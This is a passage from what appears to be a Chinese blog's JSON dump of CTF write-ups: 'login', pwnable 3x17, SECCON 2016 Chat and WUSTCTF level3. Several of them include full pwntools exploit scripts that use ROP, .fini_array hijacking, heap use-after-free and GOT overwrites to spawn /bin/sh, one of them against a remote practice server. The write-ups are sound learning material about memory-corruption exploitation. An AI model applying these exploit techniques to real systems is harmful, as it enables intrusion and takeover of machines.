*context.log_level='debug'p=process("./login")elf=ELF("./login")libc=elf.libcpop_rdi=0x401ab3puts=0x4018B5puts_got=0x602028ret_addr=0x400641name_addr=0x602400payload1="admin".ljust(8,'\\x00')+p64(pop_rdi)+p64(puts_got)+p64(puts)p.recvuntil('>')p.send(payload1)p.recvuntil('>')payload2="admin".ljust(8,'\\x00')+'a'*24+p64(name_addr)p.send(payload2)libc_base=u64(p.recvuntil('\\x7f')[-6:]+'\\x00\\x00')-libc.sym['puts']print hex(libc_base)payload3 = 'admin\\x00\\x00\\x00'*3 +p64(0x4527a+libc_base)p.send(payload3)p.recvuntil('>')#payload = 'admin\\x00\\x00\\x00'*4 + p64( name_addr + 0x18 )payload4 = 'admin\\x00\\x00\\x00'*4 + p64( 0x602500 )p.send(payload4)p.interactive()\n\n        值得注意的是,当笔者通过gdb附加调试之后发现,这一轮的跳转中,我们只会返回到payload3中的 p64(0x4527a+libc_base) 地址,和payload4中的地址已经没用太大关系了,只要保证payload4能够让程序返回即可\n        但笔者还是在这里为payload4加上了一个地址\n        正如上面所说,我们只需要用到一个返回地址即可,那倘若我们让程序第三次返回到puts=0x4018b5+8 处,这一次,RBP就会是payload4中的地址了,那么这样就能进入第三轮输入,这一次就不会出现覆盖问题,就能够像第一步的操作那样,让程序返回到system函数,将‘/bin/sh’的地址pop rdi了\n后话:\n        算是通过这一题学着怎么用gdb了,虽然用着还是很生涩,希望多做几题之后能渐渐熟练起来吧……不过多留心一下栈堆总是好的,用IDA动调的时候倒是很会看,一旦用起了gdb就容易忽视掉这些东西,还是要多留个心眼……\n附一下参考的地址:\ngdb查看指定地址内存内容:https://www.cnblogs.com/super119/archive/2011/03/26/1996125.html\n[原创]pwn中one_gadget的使用技巧 :https://bbs.pediy.com/thread-261112.htm\ngdb的基本命令:https://blog.csdn.net/qq_26399665/article/details/81165684 ​\n插画ID:90726137\n","categories":["CTF题记","Note"]},{"title":"pwnable - 3x17 分析与思考","url":"/2021/09/04/pwnable-3x17/","content":"​\n         有点炫酷的利用方式,不得不承认,确实让我长见识了。\n正文:void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3){ __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF void *retaddr; // [rsp+0h] [rbp+0h] BYREF v4 = v5; v5 = v3; sub_401EB0(sub_401B6D, v4, &retaddr, sub_4028D0, sub_402960, a3, &v5); __halt();}\n\n\n        由于符号表完全抹去,所以只能从start函数开始,但要找到main函数却不是很困难\n__int64 sub_401B6D(){ __int64 result; // rax char *v1; // [rsp+8h] [rbp-28h] char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); result = ++byte_4B9330; if ( byte_4B9330 == 1 ) { sub_446EC0(1u, "addr:", 5uLL); sub_446E20(0, buf, 0x18uLL); v1 = sub_40EE70(buf); sub_446EC0(1u, "data:", 5uLL); sub_446E20(0, v1, 0x18uLL); result = 0LL; } if ( __readfsqword(0x28u) != v3 ) sub_44A3E0(); return result;}\n\n\n         经过简单的分析可以发现,程序提供了一个简单的“任意地址读写功能”,但每次只能读取0x18个字节\n        显然,这完全不够用,不论是写rop还是shellcode,因此当下的目标是希望能够写更多的内容\n\n具体参考该文章:https://blog.csdn.net/gary_ygl/article/details/8506007\n本篇博客只进行简要的描述\n\n         一个程序从启动到main函数再到结束的这一过程中有多个必然存在的函数起作用,以如下为例:\nvoid __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void)){ __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF char *retaddr; // [rsp+0h] [rbp+0h] BYREF v4 = v5; v5 = v3; _libc_start_main(main, v4, &retaddr, init, fini, a3, &v5); __halt();}\n\n\n其运行流程为:\n\nstart函数\n_libc_start_main函数\n__libc_csu_init\nmain函数\n__libc_csu_fini\n\n        程序在最终将会回到_libc_start_main,并调用其中的exit函数退出\n        本例中的init和fini为指向__libc_csu_init与__libc_csu_fini的指针\n        而在这两个函数中,又会通过.init_array与.fini_array数组中的地址来调用对应的函数\n        结论是:\n\n.__libc_csu_init\n.init_array[0]\n.init_array[1]\n…\n.init_array[n]\nmain\n__libc_csu_init\n.fini_array[n]\n…\n.fini_array[1]\n.fini_array[0]\n\n        在有如上知识之后,攻击目标便明确了,如果试图复写fini_array数组为main,则又会重新进入main,如果再加上__libc_csu_fini函数地址,就能实现无限次数的任意地址读写了\n        若能进行任意地址任意大小的读写,那么只要找个合适的段写入rop链,并让程序返回到这里即可(也可以尝试写入shellcode,但往往没办法找到合适段,也因为找不到mprotect函数,所有不太容易修改执行权限)\n        本例中的利用方法相当特别,观察__libc_csu_fini函数:\n.text:0000000000402960 sub_402960 proc near ; DATA XREF: start+F↑o.text:0000000000402960 ; __unwind {.text:0000000000402960 push rbp.text:0000000000402961 lea rax, unk_4B4100.text:0000000000402968 lea rbp, off_4B40F0.text:000000000040296F push rbx.text:0000000000402970 sub rax, rbp.text:0000000000402973 sub rsp, 8.text:0000000000402977 sar rax, 3.text:000000000040297B jz short loc_402996.text:000000000040297D lea rbx, [rax-1].text:0000000000402981 nop dword ptr [rax+00000000h].text:0000000000402988.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j.text:0000000000402988 call qword ptr [rbp+rbx*8+0].text:000000000040298C sub rbx, 1.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh.text:0000000000402994 jnz short loc_402988.text:0000000000402996.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j.text:0000000000402996 add rsp, 8.text:000000000040299A pop rbx.text:000000000040299B pop rbp.text:000000000040299C jmp _term_proc.text:000000000040299C ; } // starts at 402960.text:000000000040299C sub_402960 endp\n\n\n         0000000000402968处将rbp置为0x4B40F0,对应了.fini_array数组,而在这个数组下面还有一个.data.rel.ro段可用于读写\n.fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64.fini_array:00000000004B40F0 assume cs:_fini_array.fini_array:00000000004B40F0 ;org 4B40F0h.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o.fini_array:00000000004B40F0 ; sub_402960+8↑o.fini_array:00000000004B40F8 dq offset sub_401580.fini_array:00000000004B40F8 _fini_array ends.data.rel.ro:00000000004B4100 _data_rel_ro segment align_32 public 'DATA' use64.data.rel.ro:00000000004B4100 assume cs:_data_rel_ro.data.rel.ro:00000000004B4100 ;org 4B4100h.data.rel.ro:00000000004B4100 unk_4B4100 db 2 ; DATA XREF: sub_402960+1↑o.data.rel.ro:00000000004B4100 ; sub_40EBF0:loc_40ECC8↑o ....data.rel.ro:00000000004B4101 db 0.data.rel.ro:00000000004B4102 db 0\n\n\n         而0000000000402988处则会直接call入.fini_array中指向的地址\n        那么,如果我们修改fini_array[0]为leave_ret地址,rsp就会被劫持到这里,然后通过ret或者pop将其指向00000000004B4100,即可完成劫持,运行构造好的rop链\n        不过现在一想,这种复写.fini_array的方式实际上是在进行类似于递归的操作,那么程序迟早会被掐掉…..或许在某些时候会成为一种限制吧……\n完整exp:#coding=utf-8from pwn import *import sysreload(sys)sys.setdefaultencoding('utf8')context.log_level='debug'#p=process("./3x17")p=remote("node4.buuoj.cn",25584)elf=ELF("./3x17")finiarr=0x0000000004B40F0main=0x401B6Dlibc_scu_fini=0x402960p.sendlineafter("addr:",str(finiarr))p.sendlineafter("data:",p64(libc_scu_fini)+p64(main))rdi_ret=0x0000000000401696rsi_ret=0x0000000000406c30rdx_ret=0x0000000000446e35leave_ret=0x401C4Bsyscall=0x4022b4poprax = 0x41e4af#gdb.attach(p)ret=0x0000000000401016p.sendlineafter("addr:",str(finiarr+0x10))p.sendlineafter("data:",p64(rsi_ret)+p64(0))p.sendlineafter("addr:",str(finiarr+0x20))p.sendlineafter("data:",p64(rdx_ret)+p64(0))p.sendlineafter("addr:",str(finiarr+0x30))p.sendlineafter("data:",p64(poprax)+p64(0x3b))p.sendlineafter("addr:",str(finiarr+0x40))p.sendlineafter("data:",p64(rdi_ret)+p64(finiarr+0x60))p.sendlineafter("addr:",str(finiarr+0x50))p.sendlineafter("data:",p64(syscall))p.sendlineafter("addr:",str(finiarr+0x60))p.sendlineafter("data:",'/bin/sh\\x00')p.sendlineafter("addr:",str(finiarr))p.sendafter("data:",p64(leave_ret)+p64(ret))p.interactive()\n\n ​\n参考文章:\nhttps://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/\nhttps://blog.csdn.net/gary_ygl/article/details/8506007\n插画ID:91513024\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"SECCON CTF 2016 Quals - Chat 分析与思考","url":"/2021/08/21/seccon-ctf-2016-quals-chat/","content":"​\n         CTFSHOW吃瓜杯,PWN方向第三题竟是SECCON原题,于是当时没有仔细研究,直接套用了其他大佬的EXP(第二第三第四题都是各大比赛的原题,网上可以直接找到写好的EXP……)\n        既然现在比赛结束了,正好来补一下WP。收获很大,说明我还非常菜…..\n正文:函数:        Main:\nint __cdecl main(int argc, const char **argv, const char **envp){ int v3; // eax int v4; // eax int v6; // [rsp+0h] [rbp-B0h] _QWORD *v7; // [rsp+8h] [rbp-A8h] BYREF char v8[136]; // [rsp+10h] [rbp-A0h] BYREF unsigned __int64 v9; // [rsp+98h] [rbp-18h] v9 = __readfsqword(0x28u); v7 = 0LL; fwrite("Simple Chat Service\\n", 1uLL, 0x14uLL, stdout); do { if ( v7 ) { service(v7); logout(&v7); } fwrite("\\n1 : Sign Up\\t2 : Sign In\\n0 : Exit\\nmenu > ", 1uLL, 0x29uLL, stdout); v3 = getint(); v6 = v3; if ( v3 ) { if ( v3 < 0 v3 > 2 ) { fwrite("Wrong Input...\\n", 1uLL, 0xFuLL, stderr); } else { fwrite("name > ", 1uLL, 7uLL, stdout); getnline(v8, 32LL); if ( v6 == 1 ) v4 = signup(v8); else v4 = login(&v7, v8); if ( v4 == 1 ) fwrite("Success!\\n", 1uLL, 9uLL, stdout); else fwrite("Failure...\\n", 1uLL, 0xBuLL, stderr); } } } while ( v6 ); return fwrite("Thank you for using Simple Chat Service!\\n", 1uLL, 0x29uLL, stdout);}\n\n\n        Service: \nunsigned __int64 __fastcall service(_QWORD *a1){ unsigned int v1; // eax int v2; // eax int v4; // [rsp+14h] [rbp-9Ch] __int64 v5; // [rsp+18h] [rbp-98h] char v6[136]; // [rsp+20h] [rbp-90h] BYREF unsigned __int64 v7; // [rsp+A8h] [rbp-8h] v7 = __readfsqword(0x28u); fwrite("\\nService Menu\\n", 1uLL, 0xEuLL, stdout); do { fwrite( "\\n" "1 : Show TimeLine\\t2 : Show DM\\t3 : Show UsersList\\n" "4 : Send PublicMessage\\t5 : Send DirectMessage\\n" "6 : Remove PublicMessage\\t\\t7 : Change UserName\\n" "0 : Sign Out\\n" "menu >> ", 1uLL, 0xA3uLL, stdout); v4 = getint(); switch ( v4 ) { case 0: break; case 1: get_tweet(0LL); break; case 2: get_tweet(a1); break; case 3: list_users(); break; case 4: fwrite("message >> ", 1uLL, 0xBuLL, stdout); getnline(v6, 0x80LL); post_tweet(a1, 0LL, v6); break; case 5: fwrite("name >> ", 1uLL, 8uLL, stdout); getnline(v6, 32LL); v5 = get_user(v6); if ( v5 ) { fwrite("message >> ", 1uLL, 0xBuLL, stdout); getnline(v6, 128LL); post_tweet(a1, v5, v6); } else { fprintf(stderr, "User '%s' does not exist.\\n", v6); } break; case 6: fwrite("id >> ", 1uLL, 6uLL, stdout); v1 = getint(); v2 = remove_tweet(a1, v1); if ( v2 == -1 ) { fwrite("Can not remove other user's message.\\n", 1uLL, 0x25uLL, stderr); } else if ( !v2 ) { fwrite("Message not found.\\n", 1uLL, 0x13uLL, stderr); } break; case 7: fwrite("name >> ", 1uLL, 8uLL, stdout); getnline(v6, 32LL); if ( change_name(a1, v6) < 0 ) v4 = 0; break; default: fwrite("Wrong Input...\\n", 1uLL, 0xFuLL, stderr); break; } if ( v4 ) fwrite("Done.\\n", 1uLL, 6uLL, stdout); } while ( v4 ); return __readfsqword(0x28u) ^ v7;}\n\n\n        程序大致实现了一个聊天室功能,能够注册、公共频道发消息、私信等等。\n        审计代码时务必要捋清每个变量的意义,否则会因为大量的指针而失去方向。\n         如下结构体为程序所用到的两个结构,整个程序从头到尾都只会对这两个结构进行操作,当然,要得出这样的结构体需要经过仔细的审计,其过程本文不再赘述,仅提供结果以方便之后的理解\nstruct user { char *name; struct message *msg; struct user *next_user;}struct message { int id ; // use in tweet (public message) only struct user *sender; char content[128]; struct message *next_msg;}\n\n\n漏洞分析与利用:__int64 __fastcall change_name(_QWORD *a1, const char *a2){...... else { fwrite("Change name error...\\n", 1uLL, 0x15uLL, stderr); remove_user(a1); result = 0xFFFFFFFFLL; } return result;}\n\n\nvoid __fastcall remove_user(__int64 a1){ __int64 i; // [rsp+18h] [rbp-18h] _QWORD *ptr; // [rsp+20h] [rbp-10h] _QWORD *v3; // [rsp+28h] [rbp-8h] _QWORD *v4; // [rsp+28h] [rbp-8h] void *v5; // [rsp+28h] [rbp-8h] for ( ptr = *(a1 + 8); ptr; ptr = v3 ) { v3 = ptr[18]; free(ptr); } for ( i = tl; i; i = *(i + 144) ) { if ( *(i + 0x90) && *(*(i + 144) + 8LL) == a1 ) { v4 = *(i + 144); *(i + 144) = v4[18]; free(v4); } } if ( tl && *(tl + 8) == a1 ) { v5 = tl; tl = *(tl + 144); free(v5); } free(*a1); free(a1);}\n\n\n        remove_user函数在程序中异常的扎眼。当用户尝试修改用户名时将进行检测,如果用户名的首字母是不可打印字符,就会直接将这个用户删除。但在remove_user中可以看见,并没有对free后的指针进行置NULL,看起来像是UAF,但该漏洞并不体现在free上,而是在该函数的逻辑上\n        该函数将按如下顺序释放内存块:\n\n将发送给该目标的私信message 释放\n将该用户发送到公频的message 释放\n将该用户的name 释放\n将该用户本身释放\n\n        但是,它并没有将该用户发送给其他用户的私信message释放,那么在其他用户看来,当该用户被删除之后,私信会变成什么样?如下过程进行了测试,笔者以F2按键按下的内容作为用户“aa”的新名字让其被删除,再显示用户“bb”收到的内容\nSimple Chat Service1 : Sign Up2 : Sign In0 : Exitmenu > 1name > aaSuccess!1 : Sign Up2 : Sign In0 : Exitmenu > 1name > bbSuccess!1 : Sign Up2 : Sign In0 : Exitmenu > 2name > aaHello, aa!Success!Service Menu1 : Show TimeLine2 : Show DM3 : Show UsersList4 : Send PublicMessage5 : Send DirectMessage6 : Remove PublicMessage7 : Change UserName0 : Sign Outmenu >> 5name >> bbmessage >> from aDone.1 : Show TimeLine2 : Show DM3 : Show UsersList4 : Send PublicMessage5 : Send DirectMessage6 : Remove PublicMessage7 : Change UserName0 : Sign Outmenu >> 7name >> ^[OQChange name error...Bye, 1 : Sign Up2 : Sign In0 : Exitmenu > 2name > bbHello, bb!Success!Service Menu1 : Show TimeLine2 : Show DM3 : Show UsersList4 : Send PublicMessage5 : Send DirectMessage6 : Remove PublicMessage7 : Change UserName0 : Sign Outmenu >> 2Direct Messages[] from aDone.\n\n\n        收到私信显示的名字出现了异常,但消息仍然能被显示出来\n__int64 __fastcall get_tweet(__int64 a1){ const char *v1; // rax __int64 v2; // rax unsigned int v4; // [rsp+1Ch] [rbp-14h] unsigned int *v5; // [rsp+20h] [rbp-10h] char *format; // [rsp+28h] [rbp-8h] if ( a1 ) fprintf(stdout, "Direct Messages\\n"); else fprintf(stdout, "Time Line\\n"); if ( a1 ) v1 = "[%s] %s\\n"; else v1 = "(%3$03d)[%s] %s\\n"; format = v1; v4 = 0; if ( a1 ) v2 = *(a1 + 8); else v2 = tl; v5 = v2; while ( v5 ) { fprintf(stdout, format, **(v5 + 1), v5 + 4, *v5); v5 = *(v5 + 18); ++v4; } return v4;}\n\n\n        显示规则如上,此处的变量 a1 为指向当前登录用户结构体的指针\n        输出的名字为 **(v5 + 1) \n        既然该消息没有被释放,那么此处构成**UAF(Use After Free)**,只要能够操作 *(v5+1) 的内容,就能泄露任意地址的内容\n        *(v5+1) 为一个指向 name 的指针,在创建账号的时候会开辟一个user,然后再开辟一个name:\n__int64 __fastcall signup(const char *a1){ __int64 result; // rax int v2; // [rsp+14h] [rbp-Ch] _QWORD *ptr; // [rsp+18h] [rbp-8h] if ( get_user(a1) ) { fprintf(stderr, "User '%s' already exists\\n", a1); result = 0LL; } else { ptr = malloc(0x18uLL); v2 = hash(a1); if ( v2 >= 0 ) { *ptr = strdup(a1); ptr[1] = 0LL; ptr[2] = user_tbl[v2]; user_tbl[v2] = ptr; result = 1LL; } else { free(ptr); fwrite("Signup failed...\\n", 1uLL, 0x11uLL, stderr); result = 0xFFFFFFFFLL; } } return result;}\n\n\n        特别的是,name通过strdup开辟(该函数会为字符串自动开辟合适大小空间然后进行拷贝)\n        如果名字只有16个字符之内,strdup只开辟0x20大小空间,但名字能有32个字符,如果使用名字长达30,该函数就会开辟0x30大小的字符\n        但如果其开辟了0x20,而用户通过改名来改为更长的字符就能实现堆溢出(0x20中只有0x10用于储存字符,而0x30中则有0x20储存内容)\n        堆溢出在此处可以用于复写下一个chunk的size,构成heap overflow\n        以及,在注销用户时也会按顺序先释放name再释放user,申请的时候会先申请user再申请name,我们的目的是让某个被注销的name重新被申请为某个user,这样在get_tweet时候得到的name指针即为新用户的name字段内容,该字段能通过change_name任意写地址\n        至此,利用UAF泄露libc基址\n        接下来是如何让程序执行 system(“/bin/sh”)\n        基本思路是通过复写某个函数,让程序在调用时执行system\n        其中目的函数为 strchr,原因如下:\nint getint(){ int result; // eax char nptr[136]; // [rsp+0h] [rbp-A0h] BYREF unsigned __int64 v2; // [rsp+88h] [rbp-18h] v2 = __readfsqword(0x28u); memset(nptr, 0, 0x80uLL); if ( getnline(nptr, 128LL) ) result = atoi(nptr); else result = 0; return result;}\n\n\nsize_t __fastcall getnline(char *a1, int a2){ char *v3; // [rsp+18h] [rbp-8h] fgets(a1, a2, stdin); v3 = strchr(a1, 10); if ( v3 ) *v3 = 0; return strlen(a1);}\n\n\n        main函数中通过getint函数来获取参数,倘若输入“/bin/sh”,则在getnline中执行 \n \n        strchr("/bin/sh",10)\n\n\n         替换之后就会变成\n        system("/bin/sh")\n\n\n        不过有些需要注意:\n.got.plt:0000000000603018 off_603018 dq offset free ; DATA XREF: _free↑r.got.plt:0000000000603020 off_603020 dq offset strlen ; DATA XREF: _strlen↑r.got.plt:0000000000603028 off_603028 dq offset __stack_chk_fail.got.plt:0000000000603028 ; DATA XREF: ___stack_chk_fail↑r.got.plt:0000000000603030 off_603030 dq offset setbuf ; DATA XREF: _setbuf↑r.got.plt:0000000000603038 off_603038 dq offset strchr ; DATA XREF: _strchr↑r.got.plt:0000000000603040 off_603040 dq offset __libc_start_main.got.plt:0000000000603040 ; DATA XREF: ___libc_start_main↑r.got.plt:0000000000603048 off_603048 dq offset fgets ; DATA XREF: _fgets↑r.got.plt:0000000000603050 off_603050 dq offset strcmp ; DATA XREF: _strcmp↑r.got.plt:0000000000603058 off_603058 dq offset fprintf ; DATA XREF: _fprintf↑r.got.plt:0000000000603060 off_603060 dq offset __gmon_start__.got.plt:0000000000603060 ; DATA XREF: ___gmon_start__↑r.got.plt:0000000000603068 off_603068 dq offset tolower ; DATA XREF: _tolower↑r.got.plt:0000000000603070 off_603070 dq offset malloc ; DATA XREF: _malloc↑r.got.plt:0000000000603078 off_603078 dq offset isprint ; DATA XREF: _isprint↑r.got.plt:0000000000603080 off_603080 dq offset atoi ; DATA XREF: _atoi↑r.got.plt:0000000000603088 off_603088 dq offset fwrite ; DATA XREF: _fwrite↑r.got.plt:0000000000603090 off_603090 dq offset strdup ; DATA XREF: _strdup↑r\n\n\n        本例中笔者通过 got表中的__libc_start_main 来泄露基址,但其他函数又是否可行呢?如下为got表对应的内容:\ngdb-peda$ tel 0x0000000000603018 160000 0x603018 --> 0x7f974f791540 (<__GI___libc_free>:push r13)0008 0x603020 --> 0x7f974f7987a0 (<strlen>:pxor xmm0,xmm0)0016 0x603028 --> 0x4007f6 (<__stack_chk_fail@plt+6>:push 0x2)0024 0x603030 --> 0x7f974f7836c0 (<setbuf>:mov edx,0x2000)0032 0x603038 --> 0x7f974f796b30 (<__strchr_sse2>:movd xmm1,esi)0040 0x603040 --> 0x7f974f72d750 (<__libc_start_main>:push r14)0048 0x603048 --> 0x7f974f77aae0 (<_IO_fgets>:test esi,esi)0056 0x603050 --> 0x7f974f7ac5f0 (<__strcmp_sse2_unaligned>:mov eax,edi)0064 0x603058 --> 0x7f974f762780 (<__fprintf>:sub rsp,0xd8)0072 0x603060 --> 0x400866 (<__gmon_start__@plt+6>:push 0x9)0080 0x603068 --> 0x7f974f73ae70 (<tolower>:lea edx,[rdi+0x80])0088 0x603070 --> 0x7f974f791180 (<__GI___libc_malloc>:push rbp)0096 0x603078 --> 0x7f974f73add0 (<isprint>:mov rax,QWORD PTR [rip+0x396041] # 0x7f974fad0e18)0104 0x603080 --> 0x7f974f743e90 (<atoi>:sub rsp,0x8)0112 0x603088 --> 0x7f974f77b6f0 (<__GI__IO_fwrite>:push r14)0120 0x603090 --> 0x7f974f7984f0 (<__GI___strdup>:push rbp)\n\n\n        如下函数为change_name时的检查:\n__int64 __fastcall hash(char *a1){ int v2; // [rsp+1Ch] [rbp-4h] if ( !a1 ) return 0xFFFFFFFFLL; v2 = tolower(*a1); if ( !isprint(v2) ) return 0xFFFFFFFFLL; if ( v2 > 96 && v2 <= 122 ) return (v2 - 96); return 0LL;}\n\n\n        在change_name时若没能通过该检查(第一个字符可打印),则会注销用户\n        如果我们替换__GI___libc_malloc函数地址,替换之前先进入hash函数进行检测,而0x7f974f791180 最后一个字符0x80为不可打印字符,则会因为free(got)导致程序crash,其他函数也是同理\n        而反观__libc_start_main函数地址0x7f974f72d750 ,最后一个字符为0x50,为可打印字符,因此才能正常通过检测,并成功leak\n        最后则需要伪造chunk来复写strchr的地址,笔者的exp完成leak之后,bins的情况如下\nfastbins0x30: 0x17730a0 ◂— 0x0unsortedbinall: 0x1773060 —▸ 0x7f3718172b78 (main_arena+88) ◂— 0x1773060smallbins0xa0: 0x1773170 —▸ 0x7f3718172c08 (main_arena+232) ◂— 0x1773170\n\n\n         0x1773060与用户malusr的user空间比较近,这块区域实则就是因为先前的remove_user而留下的,通过修改该内存块的size位即可完成heap overflow,然后通过post_tweet的方式构造payload,将0x60302a覆盖到user中的name指针处,使得该name指向0x60302a处,接下来就只需要通过change_name即可任意写got表了\n完整EXP:#coding=utf-8from pwn import *import sysreload(sys)sys.setdefaultencoding('utf8')context.log_level='debug'def signup(name):p.sendlineafter('>','1')p.sendlineafter('>',name)def signin(name):p.sendlineafter('>','2')p.sendlineafter('>',name)def changename(name):p.sendlineafter('>>','7')p.sendlineafter('>>',name)def tweet(msg):p.sendlineafter('>>','4')p.sendlineafter('>>',msg)def dm(user,msg):p.sendlineafter('>>','5')p.sendlineafter('>>',user)p.sendlineafter('>>',msg)def signout():p.sendlineafter('>>','0')#p=remote("node4.buuoj.cn",27256)p=process('./chat_seccon_2016')elf=ELF('./chat_seccon_2016')libc=elf.libcua="AAAA"ub='BBBB'uc='C'*30signup(ua)signup(ub)signup(uc)#gdb.attach(p)signin(ua)tweet("aaaa")signout()signin(ub)tweet("bbbb")dm(ua,'BA')dm(uc,"BC")signout()signin(uc)tweet("cccc")signout()signin(ub)changename("\\t")signin(uc)changename("\\t")gdb.attach(p)ud='d'*7signup(ud)signin(ud)for i in xrange(6,2,-1):changename('d'*i)malusr = p64(elf.got['__libc_start_main'])changename(malusr)signout()signin(ua)p.sendlineafter(">> ", "2") p.recvuntil("[")libc.address += u64(p.recv(6).ljust(8,"\\x00")) - libc.symbols['__libc_start_main']print hex(libc.address)system=libc.symbols['system']signout()signin(malusr)tweet("bins")changename("i"*24+p8(0xa1))changename(p8(0x40))tweet("7"*16+p64(0x60302a))changename("A"*6+"B"*8+p64(system))p.sendlineafter(">> ", "/bin/sh\\x00")p.interactive()\n\n\n         最后几行笔者打算做些适当的说明:\nchangename("i"*24+p8(0xa1))changename(p8(0x40))tweet("7"*16+p64(0x60302a))changename("A"*6+"B"*8+p64(system))p.sendlineafter(">> ", "/bin/sh\\x00")p.interactive()\n\n\n         第一行通过堆溢出复写chunk的size,使得然后在change_name\n        第二行则是为了绕过change_name中的检测:\nif ( user_tbl[v3] == a1 ){ user_tbl[v3] = a1[2];}else{ for ( i = user_tbl[v3]; i && *(i + 16) != a1; i = *(i + 16) ) ; if ( !i ) return 0xFFFFFFFFLL; *(i + 16) = a1[2];}\n\n\n        如果缺少该行,第4行将会因为上述检测返回“-1”导致没能正确写入 \n        经过笔者的测试,最终只要保证修改内容为“非字母”均可通过\n       其原因为:第二行的复写让当前用户user指针被放入user_tbl,而在第4行时将对user_tbl进行检测;由于我们选择了__stack_chk_fail的最后一个字节作为新chunk的size位,其值为0x40,将会获得索引“0”,如果第二行使用任意“字母”,则返回的索引均为“非零”值,在上述检测里就没办法通过第一个判断了,而在另外一个循环里更加难以通过检查,因此事先user指针放入user_tbl[0]中,然后在接下来的改名里绕过检查\n        最后就是一系列的复写了 ​\n插画ID:91814284\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"WUSTCTF2020-level3 笔记与自省","url":"/2021/06/21/wustctf2020level3/","content":"​\n解题过程:\n    直接放入IDA分析,跳入main函数,得到如下内容\nint __cdecl main(int argc, const char **argv, const char **envp){ char *v3; // rax char v5; // [rsp+Fh] [rbp-41h] char v6[56]; // [rsp+10h] [rbp-40h] BYREF unsigned __int64 v7; // [rsp+48h] [rbp-8h] v7 = __readfsqword(0x28u); printf("Try my base64 program?.....\\n>"); __isoc99_scanf("%20s", v6); v5 = time(0LL); srand(v5); if ( (rand() & 1) != 0 ) { v3 = base64_encode(v6); puts(v3); puts("Is there something wrong?"); } else { puts("Sorry I think it's not prepared yet...."); puts("And I get a strange string from my program which is different from the standard base64:"); puts("d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD=="); puts("What's wrong??"); } return 0;}\n\n\n    显然,最底下有一串形似base64编码的字符串\nd2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD==\n\n\n    解码发现无法正确得到内容,猜测是映射表被更改过\n    观察发现一个明显怪异的函数:“O_OLookAtYou”\n​\n__int64 O_OLookAtYou(){ __int64 result; // rax char v1; // [rsp+1h] [rbp-5h] int i; // [rsp+2h] [rbp-4h] for ( i = 0; i <= 9; ++i ) { v1 = base64_table[i]; base64_table[i] = base64_table[19 - i]; result = 19 - i; base64_table[result] = v1; } return result;}\n\n\n    直接放入VS得到置换后结果:\nint main(){ char base64_table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; for (int i = 0; i <= 9; ++i) { char v1 = base64_table[i]; base64_table[i] = base64_table[19 - i]; char result = 19 - i; base64_table[result] = v1; } cout << base64_table;//TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/}\n\n\n    得到新表,直接对密文进行解密即可得到flag\n-——————————————————————————————-\n    明确一点,当main函数找不到期望的内容的时候,应该从start函数开始看\n    main函数为用户代码的入口,但在此之前应有许多函数库需要初始化,这些初始化工作则从start函数开始\n// positive sp value has been detected, the output may be wrong!void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void)){ __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF char *retaddr; // [rsp+0h] [rbp+0h] BYREF v4 = v5; v5 = v3; __libc_start_main(main, v4, &retaddr, _libc_csu_init, _libc_csu_fini, a3, &v5); __halt();}\n\n\n    本题中,__libc_start_main()函数调用了包括main在内的三个函数(但第三个函数进入后会发现里面什么都没有)\nvoid __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3){ signed __int64 v4; // rbp __int64 i; // rbx v4 = &_do_global_dtors_aux_fini_array_entry - _frame_dummy_init_array_entry; init_proc(); if ( v4 ) { for ( i = 0LL; i != v4; ++i ) (_frame_dummy_init_array_entry[i])(a1, a2, a3); }}\n\n\n    v4变量使用了两个标签,不妨进入去看看 \n.init_array:0000000000601E08 __frame_dummy_init_array_entry dq offset frame_dummy.init_array:0000000000601E08 ; DATA XREF: LOAD:00000000004000F8↑o.init_array:0000000000601E08 ; LOAD:0000000000400210↑o ....init_array:0000000000601E08 ; Alternative name is '__init_array_start'.init_array:0000000000601E10 dq offset O_OLookAtYou.init_array:0000000000601E10 _init_array ends.init_array:0000000000601E10.fini_array:0000000000601E18 ; ELF Termination Function Table.fini_array:0000000000601E18 ; ===========================================================================.fini_array:0000000000601E18.fini_array:0000000000601E18 ; Segment type: Pure data.fini_array:0000000000601E18 ; Segment permissions: Read/Write.fini_array:0000000000601E18 _fini_array segment qword public 'DATA' use64.fini_array:0000000000601E18 assume cs:_fini_array.fini_array:0000000000601E18 ;org 601E18h.fini_array:0000000000601E18 __do_global_dtors_aux_fini_array_entry dq offset __do_global_dtors_aux\n\n\n    0000000000601E10地址处引用了O_OLookAtYou函数的地址\n    这一系列函数通过_libc_csu_init函数中的for循环去使用\n    当然,实际上看看表有没有被更改只需要对base64_table查看其交叉引用即可\n​\n    所以最后还是自己瞎忙活一通,算是吃个瘪长个教训吧…… ​\n插画ID:89345225\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"Zer0pts2020 - easy strcmp 分析与加法","url":"/2021/06/23/zer0pts2020easy/","content":"​\n    无壳,放入IDA自动跳到main函数\n__int64 __fastcall main(int a1, char **a2, char **a3){ if ( a1 > 1 ) { if ( !strcmp(a2[1], "zer0pts{********CENSORED********}") ) puts("Correct!"); else 